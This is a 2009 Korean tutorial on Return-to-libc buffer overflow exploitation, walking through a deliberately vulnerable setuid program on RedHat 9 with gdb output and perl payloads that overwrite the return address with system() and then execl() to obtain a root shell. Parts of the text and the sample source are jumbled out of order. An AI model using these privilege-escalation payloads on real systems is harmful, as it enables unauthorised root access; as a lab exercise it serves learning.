RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY
----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 ----------------------------------------------------------------------- 0x01 Notice ( 존댓말을생략하겠습니다.) 내가 RTL 기법을처음접한건달고나님의 BOF(Buffer Overflow) 기초강좌문서에서였다. 그때는 BOF도버거웠던때라 RTL 은꿈에도꾸지못하였다. 하지만지금은어느정도개념을 익혔기때문에이렇게문서도쓸수있는것같다. BOF를어렵게느꼈다고공부를포기하는건 이르다. BOF 는요즘별로쓰이지않는기법이며공격패턴또한조금에차이가있다. 물론기본 적인 RET(Return Address) 을덮어쓰는개념은같지만말이다. 나도완벽하게 RTL 기법을이해 하고있지는않다. 하지만이글을쓰면서개념을다시한번복습해보려한다. 또군대를가기 때문에잊을까봐이글을쓴다... ㅋㅋㅋㅋ;; 이글을읽기위해서는몇가지의선수지식이필요하다. 1. 메모리구조의이해. 2. RET 덮어씌우기개념. 3. gdb 사용법. 4. C 언어 5. Asm 이정도가이문서를보기에필요하다. 아무리초보자를위한문서라고는하나시스템자체를접하 는초보가보기에는조금무리가있다. 모든것에단계가있듯이해킹에도단계가있다. BOF를 배우고 FSB를배우고 RTL 을배우고뭐이런식에... 선수지식을하나라도빼먹었다면필히공부 하고오길바란다. 기초가제일중요하다. 쓸데없는말이길어진듯하다. 바로본론으로들어가겠다.
0x02 RTL 이란? RTL(Return To Libc) 는간단하게쉘코드없이 Exploit 하는것이다. Exploit이뭔지는생략하 겠다. 이전에시스템해킹기법인 BOF나 FSB(Format String Bug) 등은 Eggshell이나직접만든 쉘코드를이용해서 Root 권한을취득하였다. 하지만이후에나온현시대해킹기법인 RTL이나 Omega Project 등은쉘코드를따로필요치않는다. 그렇기때문에기존 BOF나 FSB보다간편 하고공격하기가편하다. 또요즘커널들은 BOF등의기존시스템해킹공격기법을방어하기위 해여러가지보안패치를해두어공격에성공하기쉽지않다. 그렇기때문에 RTL이나 Omega등 이더주목받는것이다. RTL의핵심은 RET에 libc라고하는공유라이브러리내의함수를덮어씌우는것이다. 프로그램이실행하는동안에메모리에는 libc 에있는함수나환경변수들이들어가게된다. 여기 서 system() 함수나 execl() 함수등을 RET 에덮어씌어쉘을불러오게하는것이다. syetem() 함수나 execl() 함수등은 ebp+8 바이트위치의인자를참조한다. 난이문장이무엇을뜻하는지깨닫는데오래걸렸다. 같을것이다. 하지만 RTL 공격할때의스택을보면 [buffer][ebp][ret] 간단하게설명하자면기본스택은아래와 [AAAAAAAAAA ][AAAA][system() or execl() Address][dummy][ 함수의인자주소] 함수의인자부분이 ebp+8 위치이다. dummy부분이 ebp+4 이다. 함수의주소를기준으로 +8바 이트의위치에서함수의인자값을참조한다. 이것이제일중요하다 dummy는참조주소를맞춰 주려고일부러넣어주는쓰레기값을뜻한다. 0x03 공격을직접해보자. 이문서대로공부를하려면실습환경이비슷해야한다. 사용할것이다. 이문서에서는아래와같은실습환경을 [sai@localhost sai]$ uname -a Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 athlon
i386 GNU/Linux( 결국 RedHat 9) [sai@localhost sai]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable- cxa_atexit --host=i386-redhat-linux Thread model: posix gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5) 아래는취약한프로그램소스이다. [sai@localhost sai]$ cat vul.c #include <stdio.h> int main(int argc, char *argv[]) { int buf[5]; } strcpy(buf, argv[1]); return 0; 컴파일을하고 root 권한으로바꾸자. [sai@localhost sai]$ gcc -o vul vul.c vul.c: In function `main': vul.c:7: warning: passing arg 1 of `strcpy' from incompatible pointer type [sai@localhost sai]$ su root Password: [root@localhost sai]# chown root vul [root@localhost sai]# chmod 4755 vul
[root@localhost sai]# ls -al drwx------ 3 sai sai 4096 11 ù 20 18:05. drwxr-xr-x 3 root root 4096 11 ù 19 22:32.. -rwsr-xr-x 1 root sai 11540 11 ù 20 18:05 vul -rw-rw-r-- 1 sai sai 105 11 ù 20 18:02 vul.c 빨간색 s 가보이는가? 보인다면설정이제대로된것이다. 이제 gdb로 vul 프로그램을분석해보 자. 어려울건없다. 참고로다른사용자의프로그램을 gdb 로디버깅할경우디버깅이안된다. 그러므로 cp명령어로 디버깅하고싶은프로그램을복사후복사한프로그램을디버깅하자. [sai@localhost sai]$ cp vul vul1 [sai@localhost sai]$ ls vul vul.c vul1 [sai@localhost sai]$ gdb vul1 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0x28,%esp 0x0804832e <main+6>: and $0xfffffff0,%esp 0x08048331 <main+9>: mov $0x0,%eax 0x08048336 <main+14>: sub %eax,%esp 0x08048338 <main+16>: sub $0x8,%esp 0x0804833b <main+19>: mov 0xc(%ebp),%eax 0x0804833e <main+22>: add $0x4,%eax
0x08048341 <main+25>: pushl (%eax) 0x08048343 <main+27>: lea 0xffffffd8(%ebp),%eax 0x08048346 <main+30>: push %eax 0x08048347 <main+31>: call 0x8048268 <strcpy> 0x0804834c <main+36>: add $0x10,%esp 0x0804834f <main+39>: mov $0x0,%eax 0x08048354 <main+44>: leave 0x08048355 <main+45>: ret 0x08048356 <main+46>: nop 0x08048357 <main+47>: nop End of assembler dump. (gdb) main() 함수를디버깅한모습이다. sub $0x28,%esp 이부분에서스택에버퍼를할당하고 있는것이다. 버퍼의크기는 40 바이트이다. 28은 16진수이므로십진수로바꿔주면 40 이된다. 지금스택에모양은아래와같을것이다.( 메모리가옆으로누워져있을경우) [buffer(40)] [ebp(4)] [ret(4)] 그럼 ret까지도달하기위한거리는 44 바이트이다. 간단하게테스트를해보자. [sai@localhost sai]$./vul `perl -e 'print "A"x43'` 위경우에는 buffer(40) 바이트를 A로덮고 ebp부분에 1 바이트만을남겨두는경우이다. 그러므로 ret까지의거리는 1 바이트가남아아무런반응이나타나지않는것이다. [sai@localhost sai]$./vul `perl -e 'print "A"x44'` 세그멘테이션오류 위경우에는 ebp 까지모두덮어씌우고 ret 에접근했기때문에세그멘테이션오류가나오는것 이다. 이제거리를알았으니본격적으로 RTL 기법을이용해공격해보자. RTL에서의핵심은 system() 함수나 execl() 함수등의쉘명령어실행함수를 ret에덮어씌우는 것이라하였다.
첫번째로, system() 함수를이용하여공격해보자. 실행중인 system() 함수의주소를구해야하므로 gdb 로디버깅하여알아보자. [sai@localhost sai]$ gdb -q vul1 (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/sai/vul1 Breakpoint 1, 0x0804832e in main () (gdb) p system $1 = {<text variable, no debug info>} 0x4203f2c0 <system> (gdb) system() 함수의주소는 0x4203f2c0 이다. 이제 system() 함수의인자의주소를찾아보자. /bin/sh를우리는인자로쓸것이다. 이유는다들아리라믿고넘어가겠다. /bin/sh 의주소를찾는방법은여러가지이다. 하지만이문서에서는환경변수를이용할것이다. [sai@localhost sai]$ export shell="/bin/sh" [sai@localhost sai]$ env HOSTNAME=localhost.localdomain TERM=xterm SHELL=/bin/bash JLESSCHARSET=ko HISTSIZE=1000 SSH_CLIENT=192.168.16.1 3290 22 SSH_TTY=/dev/pts/3 USER=sai LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or =01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32: *.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=0 0;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=0 0;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00; 35:*.tif=00;35:
MAIL=/var/spool/mail/sai PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/sai/bin INPUTRC=/etc/inputrc PWD=/home/sai LANG=ko_KR.eucKR shell=/bin/sh SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass SHLVL=3 HOME=/home/sai LOGNAME=sai SSH_CONNECTION=192.168.16.1 3290 192.168.16.132 22 LESSOPEN= /usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=/bin/env 제대로추가되었다. 이제이환경변수의주소를구하는프로그램을간단하게작성해보자. 아래소스가그프로그램이다. [sai@localhost sai]$ cat env.c #include <stdio.h> int main() { printf("env addr : 0x%x \n", getenv("shell")); return 0; } 컴파일하고실행하면다음과같이나온다. [sai@localhost sai]$ gcc -o env env.c [sai@localhost sai]$./env env addr : 0xbfffff26 shell 이라는환경변수의주소가구해졌다. 다시한번우리가구한것을정리해보면다음과같다. syetem() Address : 0x4203f2c0 shell env Address : 0xbfffff26
실제 Payload 와기본스택을비교해보겠다. [buffer ] [ebp ][ret ][dummy][/bin/sh Address ] [AAAAA ][AAAA][system() Address][BBBB][shell env Address] 이그림이이해가가는가? 위아래로똑같은자리에있는것들을보면잘이해가갈것이다... A로 ebp까지채운후에 ret을 system 주소로덮어쓴다. 그리고는인자참조조건을맞춰주면 끝인것이다. 그럼실제로공격을한번해보자. [sai@localhost sai]$./vul `perl -e 'print "a"x44, "\xc0\xf2\x03\x42","bbbb","\x26\xff\xff\xbf"'` sh-2.05b$ id uid=500(sai) gid=500(sai) groups=500(sai) Payload 를간단하게분석해보겠다../vul --> perl -e 프로그램실행 --> perl 스크립트사용 print "A"*44 --> perl 언어의 print 함수를사용하여 A를 44 개만큼출력한다. 즉, A로 ebp 까지덮어씌우는것. "\xc0\xf2\x03\x42" --> system 함수를 little endian 방식으로 ret 에덮어씌운다. "BBBB" --> 인자참조조건을만족시켜주기위한 4바이트 dummy 값. "\x26\xff\xff\xbf" --> 환경변수 shell의주소를 little endian 방식으로 ebp+8 위치에넣 는다. shell 환경변수에는 /bin/sh가있었으니제대로인자값을참조하여 shell 을띄었다. 하지만뭔가 이상하다. uid=500(sai) root 가아닌자신의계정의쉘이다. 분명 root의권한을가진프로그램으로실행시 켰는데왜이런것일까? 이유는간단하다. system() 쉘이뜬것이다. 함수는실행권한을낮추어서명령을실행하기때문에자신의계정 그럼 root 쉘을어떻게띄울까? 기본적으로생각해볼수있는방법은 system함수외에 setreuid() 함수를 system() 함수가실행되기전에실행하여 root권한으로만들
어주고 system() 함수를실행하는것이다. 생각한대로공격 payload 를그려보면아래와같다. [buffer][ebp][setreuid() addr][system() addr][setreuid() 인자 addr][system() 인자 addr] 하지만 setreuid 인자 addr 부분에 0값을넣는다고하여도 stycpy 때문에제대로전달이되지 못한다. 그럼어떻게해야할까? 이문서에서는변하지않는주소에들어있는값에 root권한으로 shell을띄우는프로그램을심볼 링크를건뒤그주소를 execl() 함수의인자값으로넘겨줄것이다. execl() 함수는인자값을 몇개줘도상관이없다. 하지만마지막에는꼭 0 을넣어줘야한다.( 인자의끝을알리기위해) 0 은어떻게넣어줄까? gdb로디버깅해보면아래와같은 NULL 값들이보일것이다. (gdb) x/64wx $esp 0xbfffeb70: 0xbfffeb80 0xbffffbff 0x42015481 0x080482a6 0xbfffeb80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeba0: 0x41414141 0x41414141 0x42424242 0x43434343 0xbfffebb0: 0x00000000 0xbfffebf4 0xbfffec00 0x4001582c 0xbfffebc0: 0x00000002 0x08048278 0x00000000 0x08048299 0xbfffebd0: 0x08048328 0x00000002 0xbfffebf4 0x08048358 0xbfffebe0: 0x08048388 0x4000c660 0xbfffebec 0x00000000 0xbfffebf0: 0x00000002 0xbffffbf0 0xbffffbff 0x00000000 0xbfffec00: 0xbffffc30 0xbffffc4f 0xbffffc5f 0xbffffc6a 0xbfffec10: 0xbffffc78 0xbffffc88 0xbffffca8 0xbffffcbb 0xbfffec20: 0xbffffcc4 0xbffffe87 0xbffffec6 0xbffffedf 0xbfffec30: 0xbffffeeb 0xbffffef9 0xbfffff0e 0xbfffff1f 0xbfffec40: 0xbfffff2d 0xbfffff60 0xbfffff6f 0xbfffff77 0xbfffec50: 0xbfffff83 0xbfffffb6 0xbfffffd8 0x00000000 0xbfffec60: 0x00000020 0xffffe000 0x00000010 0x078bfbff 이러한 NULL 값들을이용해보면어떨까? 함수의인자로참조하게끔조건만맞게해준다면충 분히가능한일이될것이다. 보다시피입력한값은 0x43434343 까지이다. 처음빨간색 NULL 값까지의거리가입력부분과조금멀다.
이문제점은필요없는함수나인자값을반복적으로주입시켜 eip 레지스터가 NULL값까지가 게하면해결된다. ( 참고로 0x43434343 부분이 ret 부분.) 그럼이제주소가변하지않는부분의값을찾아그값에 다. 변하지않는주소에는 Data segment 가있다. shell 프로그램을심볼링크시켜야한 이부분에변하지않는주소의값을정해심볼링크를걸어보도록하겠다. 링크에걸릴 shell 프 로그램소스는아래와같다. [sai@localhost sai]$ cat shell.c #include <stdio.h> int main() { setuid(0); system("/bin/sh"); return 0; } 컴파일을해두도록하자. 데이터세그먼트의주소는 0x08049000부터시작한다. 같이나온다. 이주소를참고하여디버깅하면아래와 [sai@localhost sai]$ gdb -q vul1 (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/sai/vul1 Breakpoint 1, 0x0804832e in main () (gdb) x/64wx 0x08049000 0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8049010: 0x00030002 0x00000001 0x08048278 0x00000034 0x8049020: 0x00001d14 0x00000000 0x00200034 0x00280006 0x8049030: 0x001f0022 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x000000c0 0x000000c0 0x00000005 0x8049050: 0x00000004 0x00000003 0x000000f4 0x080480f4 0x8049060: 0x080480f4 0x00000013 0x00000013 0x00000004 0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000 0x8049080: 0x08048000 0x00000408 0x00000408 0x00000005 0x8049090: 0x00001000 0x00000001 0x00000408 0x08049408 0x80490a0: 0x08049408 0x00000100 0x00000104 0x00000006 0x80490b0: 0x00001000 0x00000002 0x00000414 0x08049414 0x80490c0: 0x08049414 0x000000c8 0x000000c8 0x00000006 0x80490d0: 0x00000004 0x00000004 0x00000108 0x08048108 0x80490e0: 0x08048108 0x00000020 0x00000020 0x00000004 0x80490f0: 0x00000004 0x62696c2f 0x2d646c2f 0x756e696c (gdb) 빨간색부분과같이간단한값이제일좋다. 이제심볼링크를걸어보도록하자. [sai@localhost sai]$ ln -s shell `perl -e 'print "\x01"'` [sai@localhost sai]$ ls -al 합계 116 lrwxrwxrwx 1 sai sai 5 11 ù 20 19:36? -> shell drwx------ 3 sai sai 4096 11 ù 20 19:36. drwxr-xr-x 3 root root 4096 11 ù 19 22:32.. -rwxrwxr-x 1 sai sai 11662 11 ù 20 18:37 env -rw-rw-r-- 1 sai sai 92 11 ù 20 18:37 env.c -rwxrwxr-x 1 sai sai 11648 11 ù 20 19:32 shell -rw-rw-r-- 1 sai sai 83 11 ù 20 19:32 shell.c -rwsr-xr-x 1 root sai 11540 11 ù 20 18:05 vul -rw-rw-r-- 1 sai sai 105 11 ù 20 18:02 vul.c -rwxr-xr-x 1 sai sai 11540 11 ù 20 18:09 vul1 \x01은 0x00000001 과같은표현이다. 이제 0x00000001의주소는 0x8049014 이다. 이제우리가필요한 execl() 함수의주소를구해보자.
[sai@localhost sai]$ gdb -q vul1 (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/sai/vul1 Breakpoint 1, 0x0804832e in main () (gdb) p execl $1 = {<text variable, no debug info>} 0x420acaa0 <execl> (gdb) execl() 함수의주소는 0x420acaa0 이다. 그럼공격할 payload 와주소들을정리해보자. [AAAA ][AAAA][execl() addr][ 심볼링크주소반복] 여기서중요한건심볼링크주소를몇번실행해주는가이다. 디버깅화면을다시한번보자. (gdb) x/64wx $esp 0xbfffeb70: 0xbfffeb80 0xbffffbff 0x42015481 0x080482a6 0xbfffeb80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeb90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeba0: 0x41414141 0x41414141 0x42424242 0x43434343 0xbfffebb0: 0x00000000 0xbfffebf4 0xbfffec00 0x4001582c 0xbfffebc0: 0x00000002 0x08048278 0x00000000 0x08048299 빨간색의 NULL부분까지이동하려면 RET 다음부터계산하면된다. 이유는 RET에는 execl() 함수 의주소를덮어씌어줄것이기때문이다. 빨간색을제외한색을세어보면 6번이라는결과가나 온다. 즉심볼링크주소를 6번반복해메모리에써넣으면결국 NULL값까지 eip가진행된다는 것이다. 그럼주소들을정리해보자. execl() Address : 0x420acaa0 sysbol shell Address : 0x8049014 필요한모든준비가끝났다. 이제실제로공격을해보고 Payload 를분석해보자. [sai@localhost sai]$./vul "`perl -e 'print
"A"x44,"\xa0\xca\x0a\x42","\x14\x90\x04\x08"x6'`" sh-2.05b# id uid=0(root) gid=500(sai) groups=500(sai) sh-2.05b# 중요한부분만주석을달겠다. print "A"x44 --> buffer를시작으로 ebp까지 A 로덮어씀. "\xa0\xca\x0a\x42" --> execl() 함수의주소를 little endian 방식으로 ret 에덮어씀. "\x14\x90\x04\x08"x6 --> shell 프로그램을심볼링크건주소를 6번반복하여메모리에 써준다. 중요한것을설명하지않을뻔하였다. 백쿼터앞과뒤를보면 가한번더들어가있는것을 볼수있다. 이건메모리에 0a 를넣으면제대로전달이안되기때문에 로한번더묶어하나 의인자로전달해준것이다. 마지막으로값들이어떻게들어갔나디버깅을해보도록하자. [sai@localhost sai]$ gdb -q vul1 (gdb) b* main+36 Breakpoint 1 at 0x804834c (gdb) r "`perl -e 'print "A"x44,"\xa0\xca\x0a\x42","\x14\x90\x04\x08"x6'`" Starting program: /home/sai/vul1 "`perl -e 'print "A"x44,"\xa0\xca\x0a\x42","\x14\x90\x04\x08"x6'`" Breakpoint 1, 0x0804834c in main () (gdb) x/64wx $esp 0xbfffde60: 0xbfffde70 0xbffffbe7 0x42015481 0x080482a6 0xbfffde70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffde80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffde90: 0x41414141 0x41414141 0x41414141 0x420acaa0 0xbfffdea0: 0x08049014 0x08049014 0x08049014 0x08049014 0xbfffdeb0: 0x08049014 0x08049014 0x00000000 0x08048299 0xbfffdec0: 0x08048328 0x00000002 0xbfffdee4 0x08048358 0xbfffded0: 0x08048388 0x4000c660 0xbfffdedc 0x00000000 0xbfffdee0: 0x00000002 0xbffffbd8 0xbffffbe7 0x00000000
0xbfffdef0: 0xbffffc30 0xbffffc4f 0xbffffc5f 0xbffffc6a 0xbfffdf00: 0xbffffc78 0xbffffc88 0xbffffca8 0xbffffcbb 0xbfffdf10: 0xbffffcc4 0xbffffe87 0xbffffec6 0xbffffedf 0xbfffdf20: 0xbffffeeb 0xbffffef9 0xbfffff0e 0xbfffff1f 0xbfffdf30: 0xbfffff2d 0xbfffff60 0xbfffff6f 0xbfffff77 0xbfffdf40: 0xbfffff83 0xbfffffb6 0xbfffffd8 0x00000000 0xbfffdf50: 0x00000020 0xffffe000 0x00000010 0x078bfbff 빨간부분을보면잘들어간것을볼수있다. 0x04 마치며 조금횡설수설한부분이없지않다. 이런문서를처음쓰고또쓰면서개념을잡으려고했기때 문에설명이조금서툴거나틀린부분이있을지도모른다. 이문서를통해익힌기술을사용하여발생하는어떠한상황에대해서도책임은글쓴이가아닌 기술을사용한사용자에게있음을알린다. 쓰다보니내가읽고개념을잡은문서와상당히비슷 하다. 이부분에대해서는할말이없다. 곡을처음쓰는작가가자신이평소에좋아하는노래의 음과비슷하게작곡하는것과별반다를게없다. ( 후반부에는귀찮아서날림글로대충썼다.) Omega 프로젝트도 RTL 과별반다를것이없다. 심볼링크를조금더응용하는편이랄까... RTL 개념을이용하여자신만의공격 payload 를만들어보길바란다. 하지만만들다보면깨닫게 될것이다. 알려진것이제일편한것이라는것을... 더편한 payload 를만들면당신은천재!!! 그럼이만이글을마치도록하겠다. 부족하고긴글읽어주셔서감사합니다.